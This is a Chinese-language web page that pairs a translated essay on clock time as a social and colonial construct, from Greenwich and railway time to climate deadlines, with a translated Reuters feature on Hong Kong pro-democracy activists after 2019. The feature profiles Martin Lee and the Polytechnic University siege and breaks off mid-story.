1894年2月15日，一个潮湿多云的下午，一个人走过伦敦东部的格林威治公园。他叫马蒂亚尔·布尔丹 —— 法国人，26岁，一头黑发，留着小胡子。他沿着通往皇家天文台的 “之” 字形小路徘徊，该天文台在10年前刚刚被确立为全球标准化时钟时间 —— 格林威治标准时间 —— 以及大英帝国的象征性和科学中心。布尔丹的左手拿着一个炸弹：一个棕色的纸袋，里面有一个装满炸药的金属盒。但是，当他面对天文台站立时，炸弹在他手中爆炸了。

爆炸的声音很尖锐，足以引起里面两名工人的注意。他们冲了出来，看到一个公园管理员和一些男学生向地上一个蹲着的人影跑去。布尔丹在呻吟和尖叫，他的腿被炸碎了，一只胳膊被炸断，肚子上被炸出一个洞。在被抬到附近的医院时，他对自己的身份和动机只字不提，30分钟后，他在那里去世。

没有人确切地知道布尔丹那天想做什么。调查显示，他与无政府主义团体有密切联系。许多理论流传开来：“他在公园里测试炸弹，以便将来在公共场所进行攻击”，或者 “将炸弹交给其他人”。但是，由于他已经启动了装置，并在 “之” 字形路上行走，许多人—— 包括内政部的爆炸物专家维维安·德林·马延迪和小说家约瑟夫·康拉德—— 都怀疑布尔丹想袭击天文台。

布尔丹，据说是想炸毁这个时钟，作为一种象征性的革命行为，或者在一种天真的借口下，认为这样做可以破坏全球的时间测量。他并不是这一时期唯一攻击时钟的人。在巴黎，叛军同时摧毁了整个城市的公共时钟，在孟买，著名的克劳福德市场时钟被抗议者用枪击碎。

在世界各地，人们对时间感到愤怒。

现在看来，破坏时钟的做法似乎很离谱。当代社会对时间非常痴迷——time 是英语中使用最多的名词。自从带表盘和指针的时钟首次出现在教堂塔楼和市政厅以来，人们一直在允许时钟在生活中无处不在：遍布工作场所、学校、家庭，戴在手腕上，最后进入人们每天盯着的手机、笔记本电脑和电视屏幕。

人们通过时钟上的时间来约束自己的生活。我们的工作生活和工资由时钟决定，我们的“自由时间”往往也由时钟严格管理。广义上讲，甚至我们的身体机能也由时钟来调节。我们通常在适当的时间吃饭，而不是什么时候饿了就吃，在适当的时间睡觉，而不是什么时候累了就睡，对时钟闹钟引人注目的音调的重视程度超过了太阳的升起。在中午之前吃午饭有一种奇怪的羞耻感，这一事实证明了我们将时钟的逻辑内化的方式。正如美国经济学家和社会理论家杰里米·里夫金（Jeremy Rifkin）在其1987年出版的《时间战争》一书中所说，我们是“被时间约束”的动物；“我们对自我和世界的所有认知都是以我们想象、解释、使用和实施时间的方式为中介的”。

时钟不测量时间。它生产时间。

在COVID-19大流行期间，许多人报告说，他们对时间的体验变得扭曲和奇怪。被困在家里或劳动时间过长，使人感觉一天就像只有几个小时，小时就像分钟，而有些月份的感觉没完没了，有些月份则几乎在不知不觉中过去。似乎时钟中的时间和我们头脑中的时间已经渐行渐远了。

学术研究探讨了我们的情绪（如大流行病引起的悲伤和焦虑）如何扭曲了我们对时间的感知。或者，也许只是因为我们没有到处走动，没有经历过什么变化。毕竟，时间就是变化，正如亚里士多德所认为的——无变化的就是永恒的。但是，时钟本身很少受到质疑——我们用来测量时间的东西，我们用来定义“奇怪”扭曲的鼓点。时钟继续记录它僵硬的秒、分和小时，完全没有意识到正在发生的全球危机。它是稳定的、正确的、中立的和绝对的。

但是，是什么让我们错了，而时钟对了呢？“对大多数人来说，他们最后一次专门讨论时钟和时间的课程是在小学早期”，纽约市立大学人类学教授 Kevin Birth 最近告诉我，他研究时钟已经超过30年了，“时钟就是这样一个东西，是我们整个社会的核心，它内置在我们所有的电子产品中。而我们对它的认识却停留在小学低年级的水平上。”

Birth 是越来越多的哲学家、社会科学家、作家和艺术家中的一员，

他们出于各种原因，认为我们需要迫切地重新评估我们与时钟的关系。他们说，时钟并不测量时间；它产生时间。

如果您错过了《时间就是基本人权，是自由理念的重要战场（*996*不止是辛劳）》

“协调的时间是一种数学构造，而不是对一种特定现象的测量”，Birth在他的书《时间的对象》中写道。这种数学构造在几个世纪以来被科学所塑造，没错，但也被权力、宗教、资本主义和殖民主义所塑造。钟表作为一种社会工具非常有用，它帮助我们围绕我们关心的事物协调自己，但是，它也带有深刻的政治色彩。就像任何政治性的东西一样，它使一些人受益，使另一些人被边缘化，使我们无法真正了解真正发生的事。

我们越是与钟表中的时间同步，就越是与我们自己的身体和周围的世界脱节。爱丁堡大学高级讲师、学术期刊《时间与社会》的编辑米歇尔·巴斯蒂安借用了环保主义者比尔·麦基本的一个术语，认为时钟已经让我们对时间的本质产生了“致命的困惑”。在自然界中，“小时”或“周”的运动并不重要。因此，大气中温室气体的积聚，在地球上生活了数百万年的物种的突然灭绝，病毒的迅速传播，土壤和水的污染 —— 所有这些的真正影响都超出了我们的理解范围，因为我们对时间和活动的尺度的奉献与人类无关。

在一个诸如种族、性别和性行为等社会建构受到挑战和瓦解的时代，时钟时间的真正性质却不知不觉地逃脱了更广泛的社会关注。就像发生在金钱上的事一样，时钟已经被看作是它唯一应该代表的东西：时钟已经成为了时间本身。

时钟时间不是大多数人认为的那样。它不是科学家所监测的某种真实和绝对时间的透明反映。它是被创造出来的，并且经常被改变和调整以适应社会和政治目的。例如，夏令时是一个人类任意编造的东西。一周七天也是如此。“人们倾向于认为，在某个地方有一些主时钟，就像计量局的铂金棒一样，是‘超级时钟’”，Birth 说，“其实并没有。它是经过计算的。地球上没有任何时钟能提供正确的时间。”

西方学校通常教授的是，我们的时钟（以及延伸到我们的日历）中的时间是由地球的旋转决定的，因而也是太阳在我们天空中的运动。我们知道，地球在365天内完成一个太阳轨道，这决定了我们一年的长度，而它每24小时在其轴上自转一圈，这决定了我们的一天。因此，一个小时是这个旋转的1/24，一分钟是一个小时的1/60，一秒钟是一分钟的1/60。

这些都不是真的。地球不是一个运动完美的球体；它是一个两极被挤压并摇晃的块状圆形物体。它并不是每天都在整整24小时内旋转，也不是每年都在365天内围绕太阳运转。它只是有点像是这样。完美是一个人造的概念；自然界是不规则的。

几千年来，大多数人类社会都接受了并与大自然的不规则节奏和谐相处，利用太阳、月亮和星星来理解时间的流逝。早期最常见的计时设备之一，日晷（或影钟）反映了这一点。时间不是固定的60分钟长度，而是可变的。时间随着地球轨道的起伏而变长或变短，使人感觉冬天的白昼更短，夏天的白昼更长。这些时钟本身并不决定小时、分钟和秒，它们只是反映了周围的环境，并告诉你在大自然的周期性节奏中的位置。

但自14世纪以来，我们逐渐背弃了自然，越来越多地通过人造装置来计算我们的时间感。它开始于北欧和中欧的修道院，那里虔诚的僧侣们建造了粗糙的铁制品，不可靠但自动敲击，以帮助敲钟人记录祈祷的法定时间。像任何机器一样，机械钟的逻辑是建立在规律性的基础上的，即司行轮的刚性滴答声。它带来了一种完全不同的看待时间的方式，不是由各种观察到的自然现象的组合决定的节奏，而是，由同一个来源提供的完全相同的间隔的同质化系列。

对时间的配给和围绕时间约束自己生活的宗教狂热，使美国历史学家刘易斯·芒福德（Lewis Mumford）将本笃会的修士描述为“也许是现代资本主义的最初创始人”。基督教的一大讽刺是，它推动了围绕计时的科学准确性和精确性的不断发展的狂热，最终使西方的时间世俗化，并使上帝这个最初的钟表匠完全脱离了画面。

> 我们越是与时钟中的时间同步，就越无法与自己的身体和周围的世界同步。

到1656年，荷兰科学家克里斯蒂安·惠更斯（Christiaan Huygens）发明了第一个摆钟，它为一个小的时间单位：秒提供了同质的和有规律的切片。与之前不一致的机械钟不同，摆钟的时间几乎是完美的。在同一世纪，英国天文学家约翰·弗兰斯蒂德和其他人开发了“标准时间”，这是一种对地球自转的平均计算。科学已经找到了绕过地球不规则运动的方法，产生了一个可量化的和一致的单位，被称为格林威治标准时间。

标准时间对海员来说至关重要，对企业利益来说也是不可抗拒的，因为它可以为贸易、运输和电力通信提供便利。但是，它留在公众心目中的地位更多。在19世纪40年代英国的“铁路狂热”中，全国各地修

建了大约6000英里的铁路线。投资者（包括查尔斯·达尔文、约翰·斯图亚特·密尔和勃朗特姐妹）相互攀比，在自由派资本主义的狂热中购买铁路公司的股份，造成英国历史上最大的经济泡沫之一。大西部铁路公司和中部铁路公司等企业开始在其车站内和火车上执行格林威治标准时间，以使时间表有效运行。

英国的每个城市、城镇和村庄都曾将其时钟设定为自己的当地太阳时，这使每个地方都有一种可触及的身份、时间和地点感。如果你住在纽卡斯尔，无论伦敦的时间是多少，中午就是太阳最高的时候。但是，随着铁路带来了标准化的时间表，地方时间被妖魔化了，并被扫地出门。到了1855年，几乎所有的公共时钟都被设定为格林威治时间，或“伦敦时间”，全国成为了一个时区。

叛逆的布里斯托尔市是最后同意采用标准化时间的城市之一。玉米交易所大楼上的主钟保留了第三根指针，为拒绝调整的当地居民显示“布里斯托尔时间”。它至今仍在那里。

“铁路时间”也来到了美国，将这个国家分成了四个不同的时区，并在全国范围内引起了抗议活动。波士顿晚报要求，“让我们保持我们自己的中午”，辛辛那提商业公报写道，“让辛辛那提的人们坚持太阳、月亮和星星所记载的真理”。

1884年的国际子午线会议通常被认为是时钟时间占领世界的时刻。全球被切割成**24**个时区，宣布不同的时钟时间，所有时间都与最强大的帝国—— 英国和他们的格林威治标准时间同步。没有人会再从自然界中解读时间—— 人们会被一个中央权威机构告知现在是什么时间。作家克拉克·布莱斯（Clark Blaise）认为，一旦如此，“太阳宣布什么根本就不重要了。‘自然时间’已经死亡”。

> 时钟时间并不是大多数人所认为的那样。它是被创造出来的，并且经常被修改和调整以适应社会和政治目的。

实际上，由于欧洲的殖民主义、帝国主义和压迫，这一过程已经在整个19世纪发生了。殖民主义不仅是对土地的征服，因此也是对空间的征服，而且，还是对时间的征服。从南亚到非洲再到大洋洲，帝国主义者攻击了其他的计时方式。他们把任何没有欧式钟表和教堂钟声的地区视为没有时间的土地。

澳大利亚历史学家 Giordano Nanni 在他的《时间的殖民化》一书中写道：“欧洲在商业、运输和通信方面的全球扩张与控制国外社会与

时间有关的方式相一致，并以此为前提”。“将全球纳入一个由小时、分钟和秒组成的矩阵的项目需要被确认为欧洲普遍化意愿的最重要表现之一”。简言之，如果说东印度公司是英国海外殖民主义的物质体现，那么格林威治标准时间就是形而上的体现。

西方将时钟时间与自然界的节奏分开，有助于帝国主义者确立对其他文化的优越性。当英国殖民者席卷澳大利亚东南部寻找黄金时，他们把他们遇到的原住民社会的计时方法描绘成不规则和不可预测的，与钟表的理性和线性性质形成对比。尽管该地区的原住民社会拥有基于月亮、星星、雨水、某些树木和灌木的开花以及潮汐流动的先进计时方式，他们用这些方式来确定食物和资源的可用性、距离和日历日期。

Nanni 写道：“9世纪的欧洲人普遍认为，这种对自然的亲近是对人性的质疑。这部分是由以下事实决定的：启蒙运动的价值观和理想已将‘人性’的概念与人类对自然的超越和支配联系起来；而其相应的反面——野蛮——则是一种’更接近自然’的生活模式。”

在墨尔本，教堂和火车站在地平线上迅速发展，带来了时钟时间的指针、面孔、钟声和一般的喧闹声。到1861年，威廉斯顿灯塔上安装了一个时间球，墨尔本正式与格林威治时间同步。英国殖民者试图将原住民纳入他们的劳动队伍，但由于人们不愿意牺牲自己的计时方式，结果并不令人满意。当地人不相信“无意义的劳作”和“对时钟的服从”，澳大利亚社会学家 **Mike Donaldson** 写道，“对当地人来说，时间不是一个暴君”。

在澳大利亚的一些地方，土著人对西方时钟时间的抵制仍在继续，而且态度强硬。1977年，在 Pukatja 小镇（当时称为 Ernabella），在镇中心附近建造了一个巨大的、旋转的、电子操作的时钟，供当地 Pitjantjatjara 人协调他们的生活。十年后，一名白人建筑工人在一次镇议会会议上指出，这个钟已经坏了好几个月了。没有人注意到，因为根本没有人去看它。

标准化时间的运动在20世纪50年代达到了顶点，当时原子钟被认为是比地球本身更好的计时工具。作为时间单位的“秒”，被重新定义为不是地球绕太阳轨道的一小部分，而是原子钟内铯原子振荡的特定数量。

巴斯蒂安在爱丁堡的家中通过视频电话告诉我：“当你看到精确计时时，所有这些时钟都是与外界隔绝的，不会对周围发生的任何事产生反应”。她身后的墙上挂着一张海报，上面写着“睡着的时钟”。“你必

须让它们与温度、波动、湿度、甚至量子重力效应分开。它们不能对任何东西作出反应。”

世界各地实验室的400多个原子钟以原子秒为标准计算时间。这些时间的加权平均数被用来创建国际原子时（TAI），它构成了协调世界时（UTC）的基础。协调世界时并不是对自然完全没有反应的。每隔几年，它就会增加一个闰秒，以保持它合理地接近地球的旋转。但在2023年的世界无线电通信大会上，来自世界各地的国家将讨论废除闰秒并永久脱离太阳和月亮，而采用我们自己制造的时间，这是否符合我们的最佳利益。

“想象世界末日比想象资本主义的末日更容易”，文学评论家弗雷德里克·詹姆森写道。最难想象的因素之一是资本主义通过钟表对我们的时间感知所做的事。现在，将时间视为一种可以花费或浪费的商品，似乎已经嵌入了每个人的心理。

资本主义并没有创造时钟时间，反之亦然，但科学和宗教将时间划分为相同的单位，为资本主义建立了一个有用的基础设施，以协调身体、劳动和商品的剥削并转化为价值。英国社会学家芭芭拉·亚当（Barbara Adam）认为，时钟时间将时间与金钱联系起来。她在《时间》一书中写道：“时间可以变得商品化，被压缩和控制”。“这些经济实践可以被全球化，并作为规范强加给全世界”。

亚当继续说，时钟时间通常“不仅被认为是我们对时间的自然体验”，而且是“我们存在的道德尺度”。即使是最自然的过程现在也必须用时钟时间来表达，以便它们得到验证。

尤其是女性，她们经常发现自己处于这种武断的衡量标准的错误一端。无报酬的劳动，如家务劳动和育儿—— 这仍然给妇女带来不成比例的负担—— 似乎在时钟的测量之间滑过，而怀孕的经历则非常受时钟时间的监督。亚当引用了一位妇女对其分娩经历的描述。“分娩中的妇女，由于宫缩的强度而被迫将所有的注意力转向它们，失去了与时钟时间的普通、亲密的联系”。但是在医院的环境中，自然的分娩过程已经被评估并以时钟时间为单位进行了标准化，妇女被迫遵循斯旺西大学助产士教授 Alys Einion-Waller 所说的“医疗化的分娩脚本”。

> 这种观念现在似乎根植于我们的心理，将时间视为一种可以花费或浪费的商品。

产妇的第一手经验和直觉被贬低了，而倾向于与预期的分娩阶段长

度、宫缩间隔、宫颈扩张的进展和其他观察有关的时间和测量。当产妇的表现没有达到预期的曲线时，诸如“没有进展”这样的语言是很常见的，而偏离时钟时间框架可以被用来作为医疗干预的理由。这也是最近家庭分娩运动越来越受欢迎的原因之一。

同样，新父母也知道，婴儿本身会成为他们的时钟，而任何标准化时间的说法都是荒谬的。当然，随着时间的推移，婴儿也加入了学校严格的时间等级制度，上课和吃饭的时间没有商量余地，迫使生物节律遵守社会上可接受的时钟时间。

正如 Birth 说的那样：“时钟帮助我们处理时间上统一的事。但任何不统一的事，任何变化的事，时钟都会搞砸。…… 当你试图规划一个自然过程时，自然界并不合作。”

2002年，科学家们惊讶地看着南极半岛上比曼哈顿大55倍的拉森B冰架—— 它已经稳定了1万年—— 现在分裂并坍塌成数百块摩天大楼大小的碎片。一位冰川学家告诉《科学美国人》，他可以看到鲸鱼在水中游泳，而就在几天前，那里还有厚达一千英尺的冰。

几乎在一夜之间，以前围绕着冰的大规模流失的时钟时间预测需要被改写了，以承认变化速度加快了300%。2017年，附近的拉森C冰架的一块脱落，形成了世界上最大的冰山—— 大到不得不重新绘制地图。政府间气候变化专门委员会将这种突然发生的事件称为“意外”，但这种事件比你想象的更频繁。

气候危机是一个领域，其中线性时钟时间经常发生致命的错误。它将危机框定为可测量、可量化和可预测的东西—— 让人们可以像工作时间、假期、家务和项目一样，设想到这一点。气温升高、海洋酸化、冰雪融化和大气中的二氧化碳水平不断被转化为时钟时间，以创造出临界点、阈值、路线图和可持续发展目标，让我们去战胜或渴望实现。当一个所谓的“意外”发生时，时间在现实面前崩溃了。大自然并不配合。

它以同样的方式限制我们必须阻止全球变暖的时间。卫报在2008年7月推出了一个名为“100个月拯救世界”的博客，利用科学研究和预测，使其“有可能估计出达到临界点所需的时间长度”。那是154个月前。难道我们已经进入世界末日的54个月了吗？也许吧。但是，人们不禁要问，不断地把气候危机归结为时钟的最后期限，然后不加评论地扔出去，是否造成了许多人无法理解实际发生的事的严重性和惰性？

能够单独按时钟时间生活而忽略大自然的紧急时间性是一种特权。

“我们不能说时钟时间不重要”，安特卫普大学发展政策研究所的研究员 Vijay Kolinjivadi 告诉我，“在某些时候，这种衡量标准有很大的意义，我们应该使用它。例如，你和我决定在上午10点谈话，这是没办法逃避的。但当我们在思考资本主义、社会危机和生态崩溃时，它就会出现问题”。他补充说，“时钟时间总是面向生产、增长和所有首先造成这种生态危机的东西”。

时钟时间的一个最具影响力的神话是，我们都以同样稳定的速度体验时间。但事实上并不是这样的。科幻小说作家威廉·吉布森（William Gibson）在2003年说过一句著名的话：“未来已经在这里了，只是分布得不是很均匀”。把气候危机说成是只有一定时间“避免灾难”的滴答声，就忽视了那些已经看到灾难到来的人。现实情况是，仅靠时钟时间而忽视大自然的紧迫时间性是一种特权。

每隔几年，美国中西部地区就会因密苏里河一带强降雨而遭到洪水的肆虐，颠覆了数百万人的生活。1993年夏天洪水来临时，纽约时报的一位记者采访了一位当地居民，了解他被疏散的那个晚上。“他记得关于河水迫使他和他的妻子离开他们居住了27年的房子的那个晚上的一切—— 除了 一件事，即‘我无法告诉你那是哪一天 …… 我只能告诉你，我们离开时，河水的水位是26 [英尺] ”。这篇文章的标题是：“他们用脚步来衡量时间”。

1992年，由天体物理学家转为作家的艾伦·莱特曼出版了一本名为《爱因斯坦的梦》的小说，其中他虚构了一个年轻的爱因斯坦梦到了对时间的不同解释将在他周围的人的生活中发挥的多种作用。在一个梦中，爱因斯坦看到了一个无法测量时间的世界 —— “没有时钟，没有日历，没有明确的约会。事件是由其他事件引发的，而不是由时间引发的。当石头和木材到达建筑工地时，房子的建筑就开始了；当采石人需要钱时，采石场就会交付石头 …… 当车厢装满乘客时，火车就离开了班霍夫广场的车站”。在另一部作品中，时间的衡量标准是“瞌睡和睡眠的节奏、饥饿感、生理周期、孤独的持续长度”。

最近，在艺术和文学方面都有许多尝试，以重新想象时钟和它在我们生活中的作用。2020年底，艺术家大卫·霍维茨（David Horvitz）展出了他创作的一些时钟，其中包括一个与心跳同步的时钟。另一位艺术家 Scott Thrift 开发了一个名为“今天”的时钟，它将时间的流逝简化为黎明、正午、黄昏和午夜，而不是秒、分和小时。它的移动速度是普通时钟的一半，在一天内旋转一圈。

巴斯蒂安自己也提出了对气候危机的时间性有更多反应的时钟，比如与濒临灭绝的海龟种群水平同步的时钟，这种动物在太平洋地区已经生活了1.5亿年，但现在由于温度变化而面临灭绝。这些和其他提案的核心都是同一个想法 —— 除了我们所珍视的抽象的时钟时间之外，还有更多的方法来安排和使我们自己与周围的世界同步。

时钟时间可能已经殖民了这个星球，但它并没有完全摧毁其他计时传统。某些宗教与时间保持着根植于自然的联系，如伊斯兰教的 salat 和犹太教的 zmanim，其中的祈祷时间是由自然现象如黎明、黄昏和星星的位置来定义的。这些事件的时间可以转换为时钟时间，但它们并不是由时钟决定的。

在执行全球统一时间的地方，有些人仍然在反抗，比如在中国，整个国家都在一个时区，即BST（北京标准时间）。而在北京以西近2000英里的新疆，根据北京标准时间，太阳有时会在午夜落下，许多维吾尔族社区使用他们自己形式的当地太阳时。

世界各地的原住民社区仍然使用生态日历，通过观察季节性变化来保持时间。例如，Oneida 湖周围的美国原住民部落认为某种花的绽放是开始耕种和为从冬眠中醒来的动物设置陷阱的时间。相对于标准化的时钟和日历格式，这些生态日历，就其本质而言，反映并应对着不断变化的气候。

在莱特曼书中的最后一个梦中，爱因斯坦想象了一个与我们的世界不太相似的世界，在那里，一个“大钟”决定了所有人的时间。每天，数以万计的人在“大钟”所在的时间神殿外排队，等待轮到他们进入并在它面前鞠躬。莱特曼写道，“他们安静地站着，但暗地里却怒火中烧。因为他们必须观察测量那些不应该被测量的东西。他们必须看着几分钟和几十年的精确流逝。他们被自己的创造力和胆量所困。他们必须用自己的生命来偿还。”○

📌 本文中涉及的两本书您可以在这里下载：https://www.patreon.com/posts/shi-jian-de-bao-53023627

- The colonisation of time: Ritual, routine and resistance in the British Empire
- Objects of Time: How Things Shape Temporality

The Tyranny Of Time

原文

民主陷入黑暗：香港活动家一年的绝望和恐惧 - iyouport

免费书和纪录片

【2021年3月18日存档】现实的残酷在于，最终的成败永远不会取决于您受了多少苦；而是您的策略智慧。

这是四位香港人的故事，他们的年龄相差悬殊，但因为对这个城市的深爱而团结在一起 —— 在*2019*年的大规模抗议活动后，中国进一步加紧的统治给他们带来了损失。他们的年龄从*23*岁到*82*岁不等，他们讲述了自己坚持不懈的经历，并等待着重新站起来的那一天。

1997年夏天，中国政府从英国人手中夺回对香港的控制权时，黄子悦还在妈妈的肚子里。她出生近三个月后的9月27日，成为了这里一些人所说的 “被诅咒的一代”。

在去年23岁的生日时， 黄子悦在 Instagram 上发布了一张自己的照片，她戴着一顶粉色绒球装饰的纸帽，低头看着自己的生日蛋糕，脸上带着微微的笑容，这一刻的庆祝气氛和她写在下面的句子格格不入：“生命中有些巨大的悲伤是无法用泪水洗刷的，难道人生总是这么痛苦吗？还是只有在我年轻的时候才会这样？”

最近的一天，黄子悦在手指上不断地旋转着一枚金戒指，她静静地诉说着过去一年的生活。这是充满失望和恐惧的一年。

年初，她将面临审判，罪名是因2019年11月在香港理工大学发生的警方与民主派示威者对峙事件而引起的骚乱。去年夏天，她在民主派组织的非官方投票中赢得了2.3万张选票，之后立法会选举被推迟。

而她目睹了朋友们被逮捕和拘留 —— 有时只是因为一个 Facebook 帖子 —— 根据新的国安法，这提高了像她这样直接挑战中国统治的人的风险。

然后又是一个新的低谷。中国人大通过了一项决议，将有效地禁止任何被认为是 “颠覆性的反对派” 政客进入香港的立法机构。市行政长

官林郑月娥立即将四名民主派议员踢出了办公室。不久之后，该市的民主人士集体辞职，使立法机构自香港回归中国统治以来首次没有反对派民主人士。A year ago during the standoff at Polytechnic University, protesters sprayed a vow on a wall on campus. REUTERS/Adnan Abidi

“无论你是前线政治家、匿名抗议者、媒体、教师还是任何职业，都会遭受严重的政治打压，他们希望把所有人都关进监狱”，黄说。

黄是所谓 “抵抗团体” 中的一批年轻民主人士的一员，他们的目标是通过破坏性的、非正统的策略来颠覆现有政治秩序，一种虚无的揽炒：“If we burn, you burn with us（玉石俱焚）”，这是 “饥饿游戏” 中的一个口号。

【注：揽炒是扑克牌游戏锄大弟的香港术语，知道自己将被罚二倍或三倍，拉人下水，捉人陪 “炒”，是与别人一起同归于尽、连锅端的意思。 】

“这是我们这代人的命运”，黄说。“我们刚刚出生在一个历史性的政治变革时期。这是我们必须面对的事。”

民主倡导者说，在年轻活动家、资深民主人士、工人阶级家庭和中产阶级专业人士集体组成几十年来最大胆的人民反抗北京的运动一年后，香港正以令人震惊的速度被 “大陆化”。他们说，中国政府正在利用席卷该市的抗议运动作为所谓第二次交接的借口：第一次是在**1997**年的权力交接中，第二次则是将香港移至中国的警察国家愿景。

香港政府发言人对此坚决否认，称，任何指责政府粉碎公民自由的说法都是“毫无根据的”。中国当局没有回应记者的提问。

北京强硬的新模式使香港的民主运动士气低落、受损和分化。超过一万人被关进监狱，即使抗议活动已经萎缩。一些民主人士正在与抑郁症作斗争。其他人把这座城市比作一个巨大的监狱。数百人已经逃亡。但即使在黑暗的日子里，他们也没有放弃。

这是四位香港活动家的故事，他们的年龄不同，但都因对这个城市的深爱而团结在一起 。其中一位23岁，充满激情和信念；一位82岁，经历了所有的事；一位30多岁，生活在被捕的恐惧中；还有一个28岁，选择了一条痛苦的道路：离开她出生的城市。

4个人都谈到了坚持不懈，在朋友和家人中保持运动的精神，并等待

着这个城市再次崛起的那一天。Pro-democracy stalwart Martin Lee has been fighting for freedoms for Hong Kong for decades. REUTERS/James Pomfret

先锋

李柱铭的寓所宽敞通透，很整洁，从英法古典家具到高大的中国清代花瓶，每件物品都有呼吸的空间，散发着香港东西方文化的灵魂。

82岁的李是英国籍，他的父亲是中国水墨画和书法的鉴赏家，在1980年代的关键谈判中，他是英国和中国的重要顾问，为1997年香港回归和 “一国两制” 等协议铺平了道路，使香港获得高度自治。他是一位强有力的演说家，曾帮助创建了该市第一个主要的民主党派，他长期以来一直主张与中国接触，以寻求共同的前进方向。

但是，在最近的一次采访中，这位憔悴的、声音粗重的大律师变得非常谨慎。最近几个月，他的头发变白了，步履缓慢而慎重。

“我看不到任何出路。直到最近，总还有些希望的理由。”他说。“他们不希望香港人对全面实施一国两制抱有希望”，他说，指的是中国领导层。

他的公寓俯瞰着香港的山丘，林立的树木和摩天大楼交相辉映。

“每当我看到美丽的风景时，我都会问，他们为什么要伤害我们的城市？”他说。

李是一个长期接受马丁·路德·金和圣雄甘地的行动主义和哲学的和平主义者，他对1989年中国军方在北京天安门广场及其周边地区屠杀学生和其他平民的事件耿耿于怀。他认为2019年香港的抗议者诉诸暴力是一个错误，因为 “你相当于给了镇压者使用暴力的借口，而你无法能用暴力打败他们”。Martin Lee was involved in negotiations leading up to the 1997 handover; here, he talks with President Clinton in Hong Kong a year later. REUTERS/Rick Wilking/File photo

相反，他认为，只要当局不像在中国那样开始单方面禁止公众示威，通过复活大规模的和平抗议，让和平主义的中产阶级和草根阶层回归，这场运动就能找到新的动力。

但与此同时，他也在思考。“我怎么能责怪年轻人呢？ 当他们看到我们在过去30年里如何在不使用武力的情况下失去了民主？这些想法当

然是矛盾的。”People’s Liberation Army soldiers raise the Chinese flag to signal Hong Kong’s return to Chinese sovereignty from British rule on July 1, 1997. Some activists say Hong Kong is undergoing a “second handover” to China’s vision of a police state. REUTERS/Dylan Martinez/File photo

黄是比李小近60岁的年轻活动家，她计划参加被取消的立法会选举，她对香港老一代活动家没有耐心。她说，他们紧紧抓住了一个越来越对他们不利的政治制度。

“过去几十年来，他们完全没有取得任何成就”，她说。“我可以理解他们当年为什么要这么做，因为他们所处的时代与我们截然不同。但这么多年过去了，如果他们一直使用同样的方法，我真的无法接受。”

她认为她的参选是超越去年街头抗议的一种方式。她的团体最近的策略包括为那些被捕者进行宣传活动，并通过竞选公职向北京挑起更大的国际压力 —— 随后，预计他们的团队中有12人被取消了竞选资格。

提出玉石俱焚理论的27岁的活动家劉祖廸在最近的一次采访中说。“情况其实没那么糟。这是最坏情况中最好的情况了。… 如果我们能继续揽炒，削弱香港和中国政府的经济实力，让他们退缩也不是不可能。”Martin Lee faces trial on charges of organising an unlawful assembly, the first time he’s faced criminal charges in half a century as a barrister. REUTERS/Tyrone Siu

但许多抗议团体正在付出高昂的代价。刘因被控非法集会而被捕后，于1月逃离香港前往英国。该团体的另一位领导人、著名活动人士黄之锋已承认 “组织和煽动非法集会” 的指控。

李卓人是一位资深的民主人士和工会人士，他认为民主运动必须不断发展，即使结果可能是不确定的。

“激进派以难以想象的方式改变了游戏”，他说。“整个世界都用敬畏的目光看着他们。他们所做的事，是我们老一辈人永远做不到的。”

李柱铭接受这种观点，新一代人将引领未来的发展方向。

“我知道我的角色已经结束了”，李说，“年轻人会接班，他们应该这样做。”Martin Lee, seen here with former student leader Joshua Wong, says it’s only right that the younger generation of activists

now leads the pro-democracy fight. REUTERS/Bobby Yip

去年年初被捕的李被控组织非法集会，等待被审判。这是他当了50多年大律师后首次面临刑事指控。他当时表示，自去年抗议活动开始以来，他 “很自豪” 能与其他数千名被捕者站在一起。

但国家安全法的范围以及目前针对抗议者和教师、记者和学者等专业人士的举动，使行动主义的前景变得暗淡。

国安法第六十三条规定，在发生任何争议时，中国法律将 “优先于” 香港法律，一些审判可以在不公开的法庭上进行，并拒绝被告保释。根据该法律，复杂案件的嫌疑人可以被引渡到中国大陆，并根据那里的法律进行审判。在香港活动的中国特工将享有免于起诉的权利。审理所谓的国家安全案件的法官将由市领导任命，打破了长期以来由市首席大法官监督的分权安排。这条法律也适用于全球，甚至让那些逃到国外的人感到不安。

对于民主派 “二次交接” 的说法，香港政府发言人表示，“会继续贯彻 ‘一国两制’ 的原则”，坚持认为香港人的权利和自由得到了很好的保障，立法机关仍然是一个意见多元化的地方。

“像李柱铭这样老奸巨猾的人利用民主阵营中的年轻人，试图推翻和破坏中共的稳定”，一位不愿透露姓名的中国官员说，“北京只会接受一个忠诚的反对派。”

李对这样的观点不屑一顾，他说，即使他对中共在香港问题上兑现承诺的希望没有了，“我也能看到另一种希望：来自于香港人，包括年轻人，为捍卫自己的价值观和生活方式而奋斗的努力 …… 他们牺牲了很多，包括多年的牢狱之灾。”

李明白，他可能无法活着看到他的民主理想在香港扎根。但他相信，这一切总是会发生的。

“我从来没有说过死，我从来没有放弃过”，李，一个虔诚的天主教徒，在随后的一次教堂会议上说。“我可能不会活着看到民主来到香港或来到中国，但它总有一天会到来。因为民主会到达每一个地方。”*Pro-democracy activist Prince Wong hopes to continue the momentum of last year’s protests. REUTERS/James Pomfret*

救援人员

2019的抗议运动中，警方一直在努力控制抗议者，抗议者在香港密集

的城市景观中流动，部署他们的 “be water” 战略，即通过社交媒体和加密应用程序动员的快闪。但在理工大学，所有的逃生路线都被警方封锁了。抗议者无法行动，数千人被围困。

抗议者身穿黑衣，手持临时盾牌、头盔和防毒面具，仍然不屈不挠，高呼 “解放香港”。他们连续数日投掷汽油弹、发射箭矢，并从巨型弹射器中投掷碎砖头，遭到催泪弹、水炮和橡皮子弹的袭击。

巨大的火球偶尔会撕裂天空，黑烟袅袅，成柱状上升，整个维多利亚港都能看到。在理大旁边的中国军事基地，武装的人民解放军部队一边看着局势的发展，一边在露天的前院进行防暴演习。

在郊区，数千名普通香港人前来救援，其中包括熟练的潜水员 Dave。他描述了自己的角色，但条件是不能使用他的姓氏。参与理大占领行动的人因与暴动有关的指控而被捕，最高可判处10年监禁。

30多岁的 Dave 在手机上恐惧地看着这场对峙，他紧盯着自己的私人 Telegram 群组，为抗议者提供后勤、财务和医疗支持。

他认为自己也许能从维多利亚港的一条海底隧道经迷宫般的下水道进入校园，为被困在里面的人找到一条出路。

他给他的几个潜水伙伴发了消息，但并没有百分之百地跟他们直说。

